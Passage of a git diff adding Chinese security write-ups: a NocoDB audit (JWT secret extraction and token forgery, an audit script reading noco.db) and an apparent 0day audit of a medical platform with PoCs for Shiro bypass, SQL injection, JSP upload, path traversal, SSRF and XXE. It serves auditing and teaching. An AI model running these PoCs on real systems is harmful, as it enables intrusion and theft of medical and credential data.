TPkspPva0lpbHMlyEpl+eUOzQFUfZdOuFKnXSyetYTfjWZZceHu2/j6mHWbgnq+VAdNujLoWe1kudAP9Xk72mifwRjU11/d8S6pzOysovH7sZ5rmivCPUTZ2xiuH8F5qeiewJI+7u+L9svTH/PL4Jzv7w1cxh9H89rVJpusZn7V3C+LNAti7bVm8y/hOgIXSUrRxIZnxdBv0Q9srnVmLZ12yjZ8BYwTISyCQZp5nNYfuDoWxas0ZNVsEogMytRYcy5BhM6TwTxhHbPWVT79DDXWTLbEcdXWqA3HxjNZVaYsk4OE/GUdg43iDRXDHv0gAs7m9qVsWI5zapuxVbOAJnVK12udum4OlEWQMBB1J72ddgcSZvywNibpgZHrzf17u+Rv9CcrWezEt3PC5mi7mBfs233SkmAQoc9S9oqLz+GSnm2xkvBkCvjZJeOtFOqT302eE7LtjgY4yExPnIrXrHadJGyIWG8zYMeG17phEYbduI89lQT+x5au0rqRnGtA9uZRjEPj3ar6/72BXnZ62VDiolAlTuZi3m2fWT6hAaZ1WxvNdKOOf5EW69ksv2oDCzVe5buHjs8JTRp9wHPoN1WoBbPcmTSkdRzjtI8t8xPmaz6tK6fEjo9q9fTWxQL48XOmdX7qoRVFb75QNWyTB+21Zn5sgfHSmGeg+lUkMmP4Fly+Wlna3WVeY2aDHN00ezisTfeB+rQ2xqmj9bguvQmXBu2XkX1rJ5votBy0U3qGe53mZ4P1KGwLSTPaiPPoX7KFO5poH9EY1NNf7fJxLsnR0iPMZl7OowFpTTMc2V7dawflXKcsYmxdVQ7P5XcE0LU313U4WnG4WL6e7GetZMmqaATvXPIOdh1edUz6ubLEt1yF7a6dP4lwunG8wZtNSfq/BLR4KAp7tv9kXEiHl/SSIuU9+w1Ao6+ZcEaPf1Rt215ZgArY0bZwBMTRVWOjYByDpgEG0nFhqUySkpXwQRwCLzeRnlUo1RsfTSnrlxNUYMUDy5NBqpGtK/D5kja1JAZqHPOtJR8PafpZFWyWa0sL6Mpf/q8MV0p3RvavlsuP/HaXUcW6p/yfUZROHfIrhB6xnqcNl2kbEgx/cFEL7DBqCYlvHor6B+Jg0+/lcoZziZ6IYkWGGwqo6sNdTLWlKpoCEHZg7IhxZbHTYiDlOXZ1e2IHl55eVLGDa+QFg1943Q93DxX95U5t5llu6dBu1tDrqj/GMmzLIV0mtazJM/S/FTJqiNW/TBdn1UxXqgJ17F6otb7uch7dz4qc6LuCuvDljqzUPbwWLknyrMknRIK+Qk/K0sDeWZCtlYXmdeRLtbBwFvZMpPzpuWqQlbPblJfbye0HOMq67CuLULPaiPPoX7KhO6py7Pt58Gxqbq/p2vFse7xCOoxRe09DftOKU3yXNcW3eon6tgkmZ9GmsMGcQv3BeM868Rz+A5cxkRrmbYNz5fnOxduT0W7V40ptSiZb7R7ZJ7kyzVHlL1ufH1K97JCWIryzwc4+pYGHvRN2LAWPG0cNZ0gqlQK55uoTsyu+kZRaekA4a8C8aUHyKbocFwvjc0LOsgd0qlX0Lx7tNFjvwMxiNymUuzW3HTFzMMe+uuP12Nj+VMm2EEgP/Gwg57+WRngwW0H6XbfVlGjS0T2HBNzZY1BjjhgebGrrBz+ruUprKf29NKyQhuDPRMZyu2vX8Lir5iztdKQOhlrSHU0RJuyt5ONplsoaiM48saLNW7YmZ7CZbPnD1VaOst2j0La7mpipw05Vaf+GUwG4bOYunRq6jnT8sE8y/NT2+5MlPoxRHuWh97Gb+FtcanDw1z7dK7tIY5ImRulZZeNleE8txhzK9pCXj9h+Wlka3WVee+4Gb5OKaszQ+WSSZOsnvWkvnLh0sH1F9bzsjoMtYXsWU0I9lNF/T31ee6yvc/v71V0ukegx+rvCfedtlTlWdJePq3qJ8rYJJmfxpnDSsk78FLkEZjh+fIdzZsWiChCNwLh+cXiMVHVzPzLf5fA0bdUqImhexOO20Pe8OwUFxXDKzamMx3SkNSg1igq7Zr0WKEGiGQVyL9UWo3gQTX3935e2Gji8xgy56bYvfEgFpHbVIQdNCtWV/W2XS3jnvK3o2cmBD0gP0HsSmMoUpBx0QQc7s/GEDsZ90Md0KXv72teQXjSlZEJdaXRF6otb3gyw5MSu9KtJ3HcT1Ub7vNWkWrMymnaozkUn51//BKWJ1PjCNPOQDURa0a9jDWjanU9XPZKCWkqG2oiMuorw78u2jlDVZ5tf68jWYHnPUp+W6sSmz0/S3dPatsL250jirROUW3n641Gz1JUpSOp54SaPDfNT2W7OzrWT4ZIz8qRd7zk9Q8PSeaWetdMa0JtWjNWunvr8yxPRxNoi9pnCeWnka0VReazmIlVduGje7vL6lk7QKoiwTQyPR+sQ0Fb7J6En9WcUD9lKu6R5HnQdGzKInG0tr5Hoseq7mmse5tTXi5Je2VpUj/N+qlEh0vmpxHmsJ1p0F7B+XJYt6w2Rgblu0faUz+/uAusDp5NaOKf27iGwNG3rPCgbxWl3H/glHVOKVUNfJVIwoCNAsxPYPVZBfZnGTY0eiY5R6j8mfPDrLhWvyW0K7Hq0FFXP11CuyWUhK/XHgRv788dcsqXdrBlDn/uitkiRKEXfShDkM8QYlnkFWu32hN8mYteCXXlbNKmde0VWza6Ylc2C0amyafKqPm1DFWvrJbYiEzuV+ntqKLxXI6jONkJq0vqRacU6yU9c0YmY82oXl0Pl72sBTUZ2QhT6vy20SLOGPVXQavzXNXf0zpM+kVB96bbVZbtnuRjSbvzxE6/+c6bTCc0eVZdOuF6lslqg/wogpEgnesnJcqzChj9n6mfPJkIE4k+bKAzW7WpgEyeG6QjbIsMmWdJ5Mf+XLinhFgy34ZMuSTI6tkcH1E8qzolrOeT7di1dSjRdZLxtIE8KyTRYdX3hPPcdGzKIujvbe+R9J3ae5rp3uaUl0vSXlma1U+jftpUh0vmp63msALsy3qK59E1bS/JfFmiW5r108ZYG7Ie0+5Ntw+3itAV5WfOcH/W+qfqDOzyNvExQR2q/x1t0zafy1ga1BFOZxWAo29ZOL4sDJLmTJGSc8IqaWBYBtAhzbxlsvpABnMeQn8ncYLwSudoc6Zy3ASbZ98JozuxMSCy2Hu9Z84Vp9BEb4JtQ6w6dNTXT7hN22PeWJQ1zvVAV2UQ67qd0XXJfnK9fVd92/Zc2TJcJEFxdfGYLnV9qEFfb9llxe8G+jFtm7C+6oPTWVZ5lVgZCybyu0mb1rVXbNnoijWGlfxkqsK9mU5PXkrwDWxdQabMveGIhmoQ1c3PB+6qdEe8sqiVnX1Lb65ekoHZE6haGWtE3ep6uOyljy/IRpiyVc/8m7/SVdD6iADX333jJV+HZfeYMzBdey3fPUyw3X25q5j8iZ7VMp02siotu/o0GAkSo34MEZ5VghsvsuVKMW9H3aSLA5c3iT4U6swGbdpkrCzmWZiOuC1S6p5VLT9CWyuizGexERQq3SonXlm5JIjq2R1YP8rZAMr2Nn8mGeNkdRhuC9mz5DZAuJ+G7gnludnYlCXU35lW90j6Tkt5Lte9zSkvl6S9srSpH2k/Depwyfw0yhxWwol5YUbfvkjBEtY/eWxfDsyXw7olnq1eWIxQdep2OdXh2l2+OKJQ/UL7OWtewNE2P/PGyBVTNU+sm1spVDk4Knt2cWT6n9vOXgjqCKSzKgwGg1eeffZZXEtwvfOlT72S5SOvvK/2+5RPvfROe9/71F+V85H3+elk03Z/l6aTfpbHpcPX+/wbPvK+5G/cPfr7T730yjuTNMuud76SLRrnrSw/Zfem98jLJb1s+YP573aF6lDW7u6qrh9z2TLl0M9650uv6BrUz7XpuLLbTPJ3pfkp1FF9vdfLhc2jqguJ/DRp90xda8zfuc/L8ut/V1Z2105lf6MpadP0qm+vQjqZNqqXjSb3SK9i/fn5rZEtLw2Xn7Jy+vcW8928b9eVXf1hIlfuvrr6qC97+bOqyl5KoD/kyynJs5OXlHwdruI94XYva6sEv54Dz4qVjiTP+hLUT7jd49VPjGcVy6TIyXqhX2id6aVhr0y+K/Rq6B5xm9q/y+PSkeY5lI4kP+JnBeUnbGuJ6yfwrEKeFXk5kdehu7fYH9Krvp7dVShf7pll5c/mO1yH+hL05fCzcveUyDNfrh7zZfUvyT2SPGcvSbkVuf4e6x6JrEruKX9eWJ4TXDqScnlpVbZFrDosvS/fpiVtWHIVy1+UDck90sukVfP3hYbN3Wu/r5X3Cp3BZP+u/D7/Hkk/lVzZOuQyGX3j2qdYx4qydq+9ivOODF56ofwU0qzR4XVXeXtXyGYi0zXyUVJGnU7l37o2/tQrL73T/7winczfLsf11re+NXPt7Oy88tGPfvSVV7Gj7+nTp9btB1Yb3mo60qG4+TP5eKVUn69xsJ6vjwaLg1erDofT+ugDvfLDR540W5kHAezq9PTUe7X+fQUydj9ZxXZfZJ7X9VkAAADicm91+GrOl0XzL3Avef755+1PhmeeeYZefPFFbN1dK/YeEB+9MCvZpy95WxMAcXBnX3Q92wSAKiBj95NVbPdF5nldnwUAACAu91iHY74M7glw9K0T9u1RhbeL7rmXDLhXhgMwT+ybt+59yBmYH5Cx+8kqtvsi87yuzwIAABCXe6zDMV8G9wQ4+taKMW3z4bh8cGjyVix1HQ6J+LDcxm/fBQAAAAAAAAAAmsLbZL05adV1c5Z1us2VRc2XF1n2ZaxncNfgjD4AAAAAAAAAAAAAAFYInNEHAAAAAAAAAAAAAMAaA0cfAAAAAAAAAAAAAABrABx9AAAAAAAAAAAAAACsAXD0AQAAAAAAAAAAAACwBqypo89788zlsf0MAAAAAAAAAAAAAID1ZU0dffza7A3a4Fdn90dw9gEAAAAAAAAAAACAtWfNt+6O6fHFjGjzAe3ZTwAAAAAAAAAAAAAAWEfuxxl9vU0a2B8BAAAAAAAAAAAAAFhH8DIOAAAAAAAAAAAAAADWADj6AAAAAAAAAAAAAABYA9be0XfyZGp/AgAAAAAAAAAAAABgfVn/iL7rKc2oTztneB0HAAAAAAAAAAAAAFhf1t/Rd7JLWxsbdL55SLe3t3QDhx8AAAAAAAAAAAAAWEPW39G3d0Y3t7f08GqDNjY2aGv3xH4BAAAAAAAAAAAAAMD6sPaOvr2dAfVoQldj+wEAAAAAAAAAAAAAAGvI+kf0AQAAAAAAAAAAAABwD4CjDwAAAAAAAAAAAACANQCOPgAAAAAAAAAAAAAA1gA4+gAAAAAAAAAAAAAAWAPW3NF3TI+GPaLJFeFdHAAAAAAAAAAAAABgnVlTR98xXd7e0u3tiPqzCzrYhpsPAAAAAAAAAAAAAKw3a+roG9P2xgZt8LW1Syf2UwAAAAAAAAAAAAAA1hWc0QcAAAAAAAAAAAAAwBoARx8AAAAAAAAAAAAAAGsAHH0AAAAAAAAAAAAAAKwBcPQBAAAAAAAAAAAAALAGRHP07Z3d0K1+0629bs5oz34HAAAAAAAAAAAAAACYL9EcfSe7W+Ytt+o6ndgPAQAAAAAAAAAAAAAACwFbdwEAAAAAAAAAAAAAWAPg6AMAAAAAAAAAAAAAYA2Aow8AAAAAAAAAAAAAgDUAjj4AAAAAAAAAAAAAANYAOPoAAAAAAAAAAAAAAFgD4OgDAAAAAAAAAAAAAGANgKMPAAAAAAAAAAAAAIA1AI4+AAAAAAAAAAAAAADWADj6AAAAAAAAAAAAAABYA+DoAwAAAAAAAAAAAABgDYCjDwAAAAAAAAAAAACANQCOPgAAAAAAAAAAAAAA1gA4+gAAAAAAAAAAAAAAWAPg6AMAAAAAAAAAAAAAYA2I5ujbO7uh29tbfY369kMAAAAAAAAAAAAAAMBCiOboO9ndoo2NjfTa2qUT+x0AAAAAAAAAAAAAAGC+YOsuAAAAAAAAAAAAAAArD9H/D0EQSbj02/wnAAAAAElFTkSuQmCC) + +根本不在 NocoDB 的数据库里——完全是凭空伪造出来的身份,但能通过认证并操作需要 SUPER\_ADMIN 权限的功能。 + + +### 5.4 攻击链总结 + + + +``` +注册获得访问 → 获取数据库读取权限(备份泄露/存储共享/容器逃逸) + → 从 nc_store 表提取 nc_auth_jwt_secret + → 用密钥签发伪造 JWT(is_api_token: true + super-admin 角色) + → 绕过 token_version 校验 + → 以管理员身份操作 NocoDB +``` + +最关键的发现不是"密钥存数据库"——所有系统都得存密钥。真正的发现是两条防御机制之间存在设计间隙: + +1 token\_version 是 NocoDB 用来防止旧 Token 滥用的机制,但 is\_api\_token 是它的旁路 +2这两个功能是不同开发者、不同时间点写的逻辑,合在一起产生了绕过效果 + +3 JwtStrategy 的早期返回(line 19-24)写于 API 令牌功能的支持需求,但它为攻击者留了后门 + +### 5.5 防守建议 + + + +| 发现 | 修复方案 | 优先级 | +| --- | --- | --- | +| JWT 密钥明文存 SQLite | 改用环境变量 NC_AUTH_JWT_SECRET,不依赖数据库存储 | 🔴 高 | +| is_api_token 旁路 | JwtStrategy 的早期返回不应允许自定义 roles 字段;或在绕过时降权为 guest | 🔴 高 | +| 密钥不轮换 | 定期更换 JWT 签名密钥,使旧 Token 失效 | 🟡 中 | +| 数据库文件暴露 | 确保 noco.db 不被公开访问或包含在备份泄露中 | 🟠 高 | + + + +## 六、额外发现 + + + +### 6.1 邮箱验证不强制 + + +注册后的邮箱验证端点虽然存在,但注册流程里从来没有调用过它: + +$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/test\_token\_here{"msg":"Token has been validated successfully"} + +端点存在、响应 200、接受任意 tokenId 参数。再用一个不存在的 tokenId 试试: + +$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/invalid\_token\_xxx{"msg":"Token has been validated successfully"} + +看到了吧——不管传什么 tokenId,都返回"验证成功"。说明这个端点的实现可能是个空壳,或者 tokenId 查找失败时默认返回成功。 + +源码 line 597-599 有一段注释: + + +``` +// TODO: Right now we are not actively enforcing email verification +// so we are not sending email verification email +// but we should send email verification email +``` + +用任意邮箱(包括不存在的域名)注册后可以直接用 Token 访问所有授权接口。邮箱验证这个环节完全被跳过了。 + +我一开始没注意到邮箱验证的问题——注册成功后直接就能用 Token,我以为验证是在后台静默完成的。后来看源码才发现注册流程里根本没有调用 emailVerification 方法。signup 流程在 usersService.signup() 结尾直接返回了 login(user) 的结果(也就是 JWT),没有等待验证。 + +这也就意味着攻击者可以用 admin@target-company.com、ceo@target-company.com 这类看起来可信的邮箱注册。虽然不会真的获得管理员权限,但污损了用户数据库的数据完整性——管理员在后台看到一堆乱起八糟的邮箱。注册流程中还有 T.emit('evt\_subscribe', email) 事件发射,如果配置了邮件订阅服务,还可能造成邮件轰炸。 + + +### 6.2 密码重置端点是空壳 + + + +``` +$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/password/forgot \ + -H "Content-Type: application/json" \ + -d '{"email":"nobody@test.com"}' +``` + +{"msg":"Please check your email to reset the password"} + +如果没有配置邮件服务(Docker 默认不配 SMTP),这个端点就只是返回了一句话,什么也没做。邮件发送失败会被 catch 块吞掉(源码 line 610-612),只有一条 warn 日志: + +this.logger.warn('Warning : \`mailSend\` failed, Please configure emailClient configuration.'); + +如果是真实攻击场景,默认配置下无法通过密码重置拿账号——换个角度想,如果管理员配了 SMTP,密码重置 token 就变成了一个攻击面(token 泄漏、暴力破解 token 等)。但默认配置下这个功能是关闭的。 + +不是漏洞,但它说明邮件通知相关的安全功能(密码重置、邮箱验证、登录告警)在默认配置下全是空壳。如果管理员以为"有密码重置功能就安全了",这个认知差距本身就是风险。 + +我在排查邮件功能的时候还发现了一个细节——appSettings 里有一个 invite\_only\_signup 配置项。如果管理员设置了这个字段,就能阻止开放注册。但我在 Docker 默认部署中检查了这个配置,它的值是 undefined,所以注册对所有请求开放。设置方法是通过 NocoDB 管理后台或直接插入数据库 nc\_store 表。 + + +### 6.3 Token 有效期 10 小时 + + +genJwt 函数的默认设置(services/users/helpers.ts): + +{ expiresIn: '10h', ...(config.auth.jwt.options as any), ...jwtOptions } + +10 小时的窗口不算短——攻击者拿到 Token 后,有足够的时间做侦察、数据导出、横向移动。JWT 签发后服务端不做主动撤销(除非调用 signOut 导致 token\_version 更新),所以 Token 一直有效到期满。 + +对比同类产品的默认 Token 有效期:Airtable 的 API key 不会自动过期,Supabase 的匿名 Token 默认 1 小时,Appwrite 的 JWT 默认 15 分钟。NocoDB 的 10 小时在同类产品中是最长的之一。 + +token\_version 机制的设计意图是登出或密码变更时让旧 Token 失效,很好的安全实践。但攻击者自己注册的 Token 不存在登出问题——只要不触发 token\_version 更新,Token 就一直有效。 + +如果管理员配置了 NC\_AUTH\_JWT\_SECRET,密钥泄露后攻击者可以在 Token 过期后自行签发任意身份的 Token。此时 token\_version 校验也防不住——攻击者可以签发一个包含已知 token\_version 的新 Token。 + + +## 七、防守建议 + + + +| 问题 | 修复方案 | 实现方式 | 优先级 | +| --- | --- | --- | --- | +| 开放注册 | 关闭开放注册 | NC_DISABLE_SIGNUP=true 环境变量 | 🔴 高 | +| 文件无类型限制 | 加 MIME 白名单 | 自定义 fileFilter 回调,只允许图片/文档 | 🔴 高 | +| 下载无需认证 | 守卫保护下载路由 | 给 /download/* 等挂 GlobalGuard | 🔴 高 | +| 无文件隔离 | 下载校验所有权 | 按 req.user.id 匹配文件路径的 hash | 🟠 中 | +| 邮箱验证缺失 | 启用验证流程 | 注册后发验证邮件,未验证 Token 降低权限 | 🟡 中 | +| 版本信息泄露 | 屏蔽版本路由 | 反向代理拦截 /api/version | 🟡 中 | +| 无速率限制 | 加限流 | Nginx/AWS WAF 限制单 IP 请求量 | 🟡 中 | + + +如果不想改代码,最低成本的防御是三层策略: + +网络层:NocoDB 不直接暴露公网。放到内网通过反向代理访问。这样 /download/\* 虽然没守卫,但外部流量到不了 NocoDB。这是收益最高的单条防御。 + +认证层:设置 NC\_DISABLE\_SIGNUP=true。环境变量在 Docker 启动时加一行就行: + +$ docker run -e NC\_DISABLE\_SIGNUP=true -p 8080:8080 nocodb/nocodb:latest + +一个环境变量解决开放注册和批量注册两个问题。 + +应用层:反向代理加文件类型过滤。Nginx 配置示例: + + +``` +location ~ ^/(download|dl|dltemp)/ { + # 阻止危险文件类型被下载 + if ($uri ~* \.(html?|php|phtml|php[0-9]|jsp|asp|aspx|sh|pl|cgi)$) { + return 403; + } + proxy_pass http://nocodb:8080; +} +``` + +这只是一个快速拦截方案——理想方案是在 NocoDB 源码层面给下载路由加 @UseGuards(GlobalGuard),或者开启附件签名验证(NocoDB 有 PresignedUrl 模型但默认未启用)。 + +如果按照部署环境来分类,推荐的加固优先级略有不同: + +公网部署:开放注册是最高优先级风险,攻击者不需要任何前置条件就能注册账号。先关注册,再补下载路由守卫。反向代理挡 /download/\* 在下游配置里加一行就行。 + +内网部署:开放注册的风险相对小(因为攻击者需要先进入内网),但文件上传和下载仍然是问题。内网用户也可能上传恶意文件互相攻击。先把下载路由补上。 + +开发/测试环境:至少关掉版本信息暴露,防止侦察。开发环境通常有调试日志、测试数据,暴露出去的信息量比生产环境还大。 + + +## 八、写到最后 + + +NocoDB 是个好产品,功能强、社区活跃。但这个分析下来,下载路由完全没守卫——上传挂了 GlobalGuard + MetaApiLimiterGuard 两个守卫,下载一个都没挂。三个下载路由的代码相隔不到 100 行,在编辑器里上下翻一下就能看到上传的守卫装饰器。 + +源码里的 todo 注释("opening up signup for timebeing")同样说明团队知道问题,但没排进修复优先级。开源项目功能优先于安全,可以理解。 + +做这个分析最大的感受是:NocoDB 的问题不是代码写得不好,而是"没人把整个攻击链路走一遍"。上传路由有守卫、下载路由没有,这种不对称在逐文件审查时一眼就能看出来,但功能开发时不会想到有人从上传到下载到数据库一路摸过去。如果你在生产环境用 NocoDB,建议先把 NC\_DISABLE\_SIGNUP=true 打开。 + +文中所有验证均在自有服务器完成,未攻击第三方系统。 + + +## 附:nocodb-audit.sh + + + +``` +#!/bin/bash +TARGET="${1:-http://localhost:8080}" + +echo "================================================" +echo " NocoDB 安全检查" +echo " Target: $TARGET" +echo "================================================" + +echo -e "\n[1/6] 版本信息泄露" +curl -s "$TARGET/api/v1/version" | python3 -m json.tool + +echo -e "\n[2/6] 开放注册" +RESULT=$(curl -s -X POST "$TARGET/api/v1/auth/user/signup" \ + -H "Content-Type: application/json" \ + -d "{\"email\":\"audit_$(date +%s)@test.com\",\"password\":\"Test1234!\",\"first_name\":\"Audit\",\"last_name\":\"Bot\"}") +TOKEN=$(echo "$RESULT" | python3 -c "import sys,json;print(json.load(sys.stdin).get('token','N/A'))" 2>/dev/null) +echo "Token: ${TOKEN:0:30}..." + +[ "$TOKEN" = "N/A" ] && echo "注册失败" && exit 1 + +echo -e "\n[3/6] 文件上传" +echo 'audit_ok' > /tmp/audit.txt +UPLOAD=$(curl -s -X POST "$TARGET/api/v1/db/storage/upload" \ + -H "xc-auth: $TOKEN" \ + -F "file=@/tmp/audit.txt") +P=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['path'])" 2>/dev/null) +SP=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['signedPath'])" 2>/dev/null) +echo "上传路径: $P" + +echo -e "\n[4/6] 下载(无认证)" +curl -s "$TARGET/$P" +echo "" +curl -s "$TARGET/$SP" +echo "" + +echo -e "\n[5/6] 跨用户访问" +curl -s "$TARGET/$P" +echo "" + +echo -e "\n[6/6] JWT密钥" +if command -v docker &>/dev/null; then + CID=$(docker ps -q --filter publish=8080 2>/dev/null | head -1) + if [ -n "$CID" ]; then + docker cp "$CID:/usr/app/data/noco.db" /tmp/noco_audit.db 2>/dev/null + if [ -f /tmp/noco_audit.db ] && command -v sqlite3 &>/dev/null; then + SECRET=$(sqlite3 /tmp/noco_audit.db "SELECT value FROM nc_store WHERE key='nc_auth_jwt_secret';" 2>/dev/null) + [ -n "$SECRET" ] && echo "JWT密钥: $SECRET" + rm -f /tmp/noco_audit.db + fi + fi +fi +echo "(需本地访问 noco.db)" + +echo -e "\n================================================" +echo " 检查完成" +echo "================================================" +``` diff --git a/books/某医疗平台审计与0Day挖掘(方软医疗软件平台).md b/books/某医疗平台审计与0Day挖掘(方软医疗软件平台).md new file mode 100644 index 0000000..93de4b6 --- /dev/null +++ b/books/某医疗平台审计与0Day挖掘(方软医疗软件平台).md @@ -0,0 +1,298 @@ +# 某医疗平台审计与0Day挖掘 + +> 来源:https://xz.aliyun.com/news/92462 + +# 介绍 + + +某医疗平台,学员给的源码,资产还蛮多 + +鹰图: + + +![image.png](https://i.im.ge/QMfoKfL/p2m-d549d04149.png) + + + + +# 项目分析 + + +通过web.xml和项目的配置文件分析,项目是spring MVC项目,鉴权采用shiro,前端采用html + + +![image.png](https://i.im.ge/QMfo8J0/p2m-7932165bcc.png) + +整体架构相对比较简单,也没配置额外的servlet,主要审计controller + + +# 鉴权分析 + + +项目采用shiro,那么分析的点主要如下: + +1鉴权绕过 + +ashiro本身的版本漏洞,能否利用 + +b是否有自定义鉴权实现然后覆盖默认的shiro鉴权逻辑,是否存在绕过 + +2白名单路由提取 + + +![image.png](https://imglink.cc/cdn/a-Nfn-Qdvd.png) + + + +项目的版本是1.5.3,符合的有 + + +| CVE | 影响版本 | 利用方式 | +| --- | --- | --- | +| CVE-2020-17523 | < 1.7.0 | /%2e/index.html 或 /../index.html(URL 编码的 .) | +| CVE-2021-41303 | < 1.8.0 | /static/..;/api/admin(; 路径参数) | +| CVE-2023-22602 | < 1.11.0 | /anon;/../admin(; 参数 + servlet path 解析不一致) | + + +然后项目其实采用的是自定义的filter覆盖shiro的默认filter,但是filter实现采用的还是shiro自带的鉴权逻辑,所以还是打历史漏洞,这里是实测符合CVE-2021-41303的利用条件,直接鉴权绕过,那么这里其实可以不去提取白名单路由了,但是这个修复比较简单,最好还是审前台能直接触发的接口 + +查看配置文件看下白名单路由,也可以直接搜索anon + + +![image.png](https://i.im.ge/QMfoZNc/p2m-3ccb47852c.png) + +主要寻找带有`**`的泛规则,这里主要的是 + +●/v3/\*\* + +●/api/\*\*/anon/\*\* + +●/app/\*\*/anon/\*\* + +这里可以直接使用正则去快速提取,这里演示个简单的,实际可以写个更准确的 + +`@request.*?anon` + + +![image.png](https://i.im.ge/QMfoWdT/p2m-17bc334901.png) + + + +直接就可以快速匹配,这套系统的前台接口还挺多,还有一堆子接口 + + +# 漏洞审计 + + + +## sql注入 + + +先判断是mybatis还是非mybatis的,通过搜索项目没有mybatis依赖和写法,那么就是JDBC一类的,找拼接,搜索where或者append,但是我自己手工审计的时候还是比较喜欢写正则,因为有的系统可能大部分接口都是预编译写法,只有少部分是拼接,但是在刚开始审计的时候没办法快速定位,我对于jdbc一类项目sql注入审计搜索的逻辑是 + +先搜索常规查询看是否预编译——>编写正则搜索非预编译查询——>搜索常规无法直接预编译的写法——>寻找完全可控的sql执行功能 + +大概是这样 + + +![image.png](https://i.im.ge/QMfofrG/p2m-6da434cd73.png) + + + +例如这套,大部分sql操作接口都是预编译的写法,那么就可以根据写法编写筛选正则 + +例如:`\.append\([^)]*\+[^)]*\)` + + +![image.png](https://i.im.ge/QMfovIy/p2m-a6776e5b93.png) + + + +当然这个正则是根据实际的情况去编写的,我一直觉得这种方式筛起来会很快,找到一处疑似注入后,分析总结特点,然后编写其余正则,我之前在大型项目中几千条sql操作找到为数不多的注入就是这样审的 + +然后这套注入还蛮多的,我这里演示一处 + +xxxxxReportService.java的find方法 + + +![image.png](https://i.im.ge/QMfoz8a/p2m-02a29ef54d.png) + + + +这里方法传递keyWorld参数,然后只进行空判断,不为空则拼接进hql,跟进方法调用 + +SysStoreReportController.java的find方法 + + +![image.png](https://i.im.ge/QMfok5x/p2m-ab0a9d3018.png) + + + +通过路由参数传递,完全可控,存在注入 + +然后接口是后台的要搭配我们前面审计的shiro版本绕过 + +poc + +``` +GET /static/..;/api/aaa/ccc/bbb/find?flag=condition&keyWorld=注入点 +Host: +``` + +## 文件上传 + + +这套系统的文件上传接口其实很多,但是有四种情况: + +1、保存本地但是落盘文件名是hash无后缀 + +2、任意文件上传OSS + +3、上传也落盘但是有白名单无法绕过 + +4、任意文件上传落盘本地无后缀限制 + +当时给学员上课的时候现场审的只找到一处 + +aaxxFileManagerController.java的fileUpload方法 + + +![image.png](https://i.im.ge/QMfopMJ/p2m-1e8d074f9f.png) + + + +遍历表单上传的文件,然后new一个Upload,去赋值参数 + +审计文件上传,1、先看是否有落盘操作,2、再看文件后缀是否可控,3、分析流是否有其余过滤或者不可控因素 + + +![image.png](https://i.im.ge/QMfoGPF/p2m-3d6e977cf5.png) + + + +落盘文件文件名是uptemp.key加ext + + +![image.png](https://i.im.ge/QMfonJz/p2m-cb70e33c4f.png) + +key等于文件内容md5加密,重点关注文件后缀 + + +![image.png](https://i.im.ge/QMfoBd6/p2m-e7c2886d6e.png) + + + +originalName是原始文件名,跟进extractFileExt方法 + + +![image.png](https://i.im.ge/QMfoJxS/p2m-030f9622c6.png) + +就是简单的获取文件后缀,这里没有黑白名单判断,存在任意文件上传 + + +``` +POST /static/..;/api/aaat/bbb/ccc/ddd/upload HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary +Accept: */* +Accept-Encoding: gzip, deflate +Connection: close + +------WebKitFormBoundary +Content-Disposition: form-data; name="files"; filename="cmd.jsp" +Content-Type: application/octet-stream + +111 + +------WebKitFormBoundary +Content-Disposition: form-data; name="lx" + +..\ +------WebKitFormBoundary-- +``` + +## 文件读取 + + +ccccController.java的getBImgs和getSImgs + +这里两个方法实现基本一致,就分析一个 + + +![image.png](https://i.im.ge/QMfoefK/p2m-328346ded8.png) + + + +文件读取审计,先找读取的文件构造,这里是69行的filePath,filePath的实现在63,一个三元运算符,判断fileName是否有/然后拼接,这里是判断fileName是否是纯文件,如果有/就提取最后一个/后面的内容,也就是文件名,这里不重要因为拼接的文件路径fileMl是我们可控的,就是有个前条件61行会通过数据库查看文件路径,这里数据库种得有对应的数据,不然会报错 + +poc: + +``` +GET /static/..;/api/aaa/bbb/ccc?fileName=../../WEB-INF/web.xml&fileMl=/ HTTP/1.1 +Host: +``` + +## SSRF + + +这套系统其实有很多处ssrf,但是都有http协议强转,我也是审了一坤分钟找到处没有协议限制的前台SSRF + +HttpUtils.java的getImage方法 + + +![image.png](https://i.im.ge/QMfXT9X/p2m-9ad1431a5f.png) + + + +传参url然后构造发送请求,把回显数据存储到data,跟进调用 + + +![image.png](https://i.im.ge/QMfXQu9/p2m-7750909008.png) + + + +url通过request.getParameter获取,然后getData输出到response中 + +poc: + + +``` +GET /api/aaa/bbb/proxyimage?url=http://dnslog HTTP/1.1 +Host: +``` + +## XXE + + +危险函数:DocumentHelper.parseText + +DBRelationsController.java的receiveEventNotifyFromDB方法 + + +![image.png](https://i.im.ge/QMfXo88/p2m-de87de25b0.png) + + + +采用dom4j进行xml解析,项目的dom4j是低版本存在xxe漏洞,这里接收的xml代码直接通过路由参数传递 + +poc: + + +``` +POST /aaa/vvv/ccc/fromdb/anon HTTP/1.1 +Host: +Content-Type: application/xml + + + +]> + + &xxe; + test + test + test + 2026-07-08 + +``` diff --git a/books/某盾am平台代码审计(宁盾一体化安全认证平台).md b/books/某盾am平台代码审计(宁盾一体化安全认证平台).md new file mode 100644 index 0000000..2097b50 --- /dev/null +++ b/books/某盾am平台代码审计(宁盾一体化安全认证平台).md @@ -0,0 +1,478 @@ +# 某盾am平台代码审计 +> 来源:https://xz.aliyun.com/news/92494 + +# 前言 + + + + +网上披露的框架本身的漏洞就不说了,主要审计业务代码问题 + + + +鹰图: + + +![image.png](https://i.im.ge/QMV4EBc/p2m-d329f5d453.png) + + + + +# 项目分析 + + +项目解压WAR部署的,看了下web.xml,配了4个DispatcherServlet分别处理`/controller/*`、`/rest/*`、`/api/*`、`/webauth/*`,鉴权用的Shiro,配在Spring的XML里 + + +![image.png](https://imglink.cc/cdn/H_4f08OJrB.png) + + + +架构比较简单,shiro+spirngMvc+Hibernate,不涉及jsp,然后有一些servlet,主要审计Controller层和自定义的servlet,一共反编译了1572个class文件 + + +# 鉴权分析 + + +项目用Shiro做鉴权,那么分析的点: + +1鉴权绕过 